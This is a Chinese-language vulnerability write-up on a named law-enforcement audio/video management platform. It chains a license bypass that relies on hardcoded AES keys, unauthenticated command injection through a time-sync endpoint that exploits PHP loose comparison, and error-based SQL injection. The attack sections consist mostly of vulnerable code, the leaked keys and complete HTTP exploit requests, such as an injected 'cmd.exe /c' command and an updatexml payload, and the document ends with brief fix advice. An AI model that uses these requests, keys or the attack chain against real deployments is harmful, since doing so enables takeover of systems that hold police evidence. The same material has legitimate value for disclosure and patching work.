执法视音频综合管理平台未授权RCE漏洞分析
字数 1220 2025-08-22 22:47:39
执法视音频综合管理平台未授权RCE漏洞分析报告
1. 漏洞概述
本文档详细分析了执法视音频综合管理平台存在的多个安全漏洞,包括:
- License激活绕过漏洞
- 未授权远程代码执行(RCE)漏洞
- 前台SQL注入漏洞
这些漏洞可被攻击者组合利用,最终实现未授权远程代码执行,完全控制系统。
2. 系统背景
该系统基于Yii框架开发,采用以下控制器继承结构:
CController (Yii框架原生控制器)
└── UController (自定义基础控制器)
└── Controller (应用控制器)
权限控制主要通过UController中的accessRules方法实现。
3. License激活绕过漏洞
3.1 漏洞分析
系统在protected/auth/auth.license文件中存储许可证信息,检查逻辑如下:
- 检查文件是否存在
- 读取文件内容
- 使用硬编码密钥进行AES解密
- 检查解密后的XML中
uuid是否匹配本机UUID
漏洞点:
- AES密钥硬编码在代码中
- 解密后的XML结构简单可预测
- UUID可通过
wmic csproduct get uuid命令获取
3.2 漏洞利用
构造合法License文件的步骤:
- 获取本机UUID:
wmic csproduct get uuid
- 使用以下PHP代码生成加密的License文件:
<?php
class Encrypt{
const KEY = "hda@2014";
private $iv = " ";
private $encryptKey = "ydt20201111111111111111111111111";
// ... 省略加密方法实现 ...
}
$s = "<root><item uuid=\"C14961A3-C997-41B3-9E73-0894A4BD85D5\"></item></root>";
$b = new Encrypt();
echo $b->myencrypt($s);
?>
- 将生成的加密字符串写入
protected/auth/auth.license文件
4. 未授权远程代码执行漏洞
4.1 漏洞分析
系统权限控制存在缺陷:
thirdController可未授权访问actionTimeSyn方法存在命令注入
漏洞代码:
public function actionTimeSyn() {
if (!isset($_POST["cloudKey"]) && isset($_POST["date"]) && isset($_POST["time"]) || empty($_POST["cloudKey"])) {
return NULL;
}
$cloudKey = SysConfig::model()->findConfigByItem("cloudKey");
if ($_POST["cloudKey"] != $cloudKey) {
return NULL;
}
@exec("date {$_POST["date"]}");
@exec("time {$_POST["time"]}");
exit("1");
}
漏洞点:
date和time参数直接拼接进命令- 默认情况下
cloudKey为空,可利用PHP弱类型比较绕过
4.2 漏洞利用
利用步骤:
- 构造恶意POST请求:
POST /index.php?r=Third/TimeSyn HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
cloudKey=0x0&date=|cmd.exe+/c+calc&time=1
- 如果系统配置了
cloudKey,需先通过SQL注入获取该值
5. 前台SQL注入漏洞
5.1 漏洞分析
RelMediaController直接继承CController,绕过权限控制,其actionFindById方法存在SQL注入:
public function actionFindById() {
$id = $_POST["id"];
$uid = "";
$sql = "select a.*,b.full_name,c.name group_name
from `media` a,`user` b,`group` c
where a.police_number=b.police_number and b.group_id=c.id and a.id=" . $id;
// ...
}
漏洞点:
$_POST["id"]直接拼接进SQL语句- 系统开启错误回显,适合报错注入
5.2 漏洞利用
利用步骤:
- 构造报错注入Payload:
POST /index.php?r=RelMedia/FindById HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
id=1+and+updatexml(1,concat(0x7e,user()),1)--+
- 可进一步利用获取
sys_config表中的cloudKey值
6. 组合利用方案
完整攻击链:
- 通过SQL注入获取
cloudKey(如有配置) - 利用未授权RCE执行系统命令
- 如需激活License,可构造合法License文件绕过
7. 修复建议
- 对所有输入参数进行严格过滤和类型检查
- 避免使用硬编码加密密钥
- 实现完善的权限控制机制
- 使用参数化查询防止SQL注入
- 对系统命令执行进行严格限制和过滤
- 对关键功能增加二次验证机制
8. 参考信息
- 受影响系统下载链接:https://www.yulongdt.com/int/download.html
- 漏洞发现时间:2024年9月
- 漏洞类型:未授权访问、命令注入、SQL注入